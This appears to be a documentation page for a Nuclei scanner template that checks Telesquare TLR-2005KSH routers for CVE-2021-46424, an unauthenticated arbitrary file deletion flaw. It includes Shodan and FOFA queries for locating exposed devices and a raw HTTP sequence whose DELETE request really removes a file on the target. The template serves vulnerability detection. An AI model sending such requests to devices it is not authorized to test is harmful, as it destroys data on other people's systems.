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Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete

ID: CVE-2021-46424

Severity: critical

Author: gy741

Tags: cve2021,cve,telesquare,intrusive,packetstorm

Description

Section titled “Description”

Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.

YAML Source

Section titled “YAML Source”
id: CVE-2021-46424


info:
  name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete
  author: gy741
  severity: critical
  description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request.
  impact: |
    Successful exploitation could lead to loss of critical data or system instability.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the vulnerability.
  reference:
    - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt
    - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing
    - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46424
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-46424
    cwe-id: CWE-306
    epss-score: 0.0159
    epss-percentile: 0.86024
    cpe: cpe:2.3:o:telesquare:tlr-2005ksh_firmware:1.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: telesquare
    product: tlr-2005ksh_firmware
    shodan-query:
      - http.html:"TLR-2005KSH"
      - http.html:"tlr-2005ksh"
    fofa-query: body="tlr-2005ksh"
  tags: cve2021,cve,telesquare,intrusive,packetstorm


http:
  - raw:
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        DELETE /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /images/icons_title.gif HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"
# digest: 4b0a00483046022100d5b3b74be145821fbe14c6378c89d202bc0df1666c878b44ee636c7ec8ee399e022100f30517c6ae1f7b9522f902be4a72750d6e505ceed0874d8a244f282452a9d914:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-46424.yaml"

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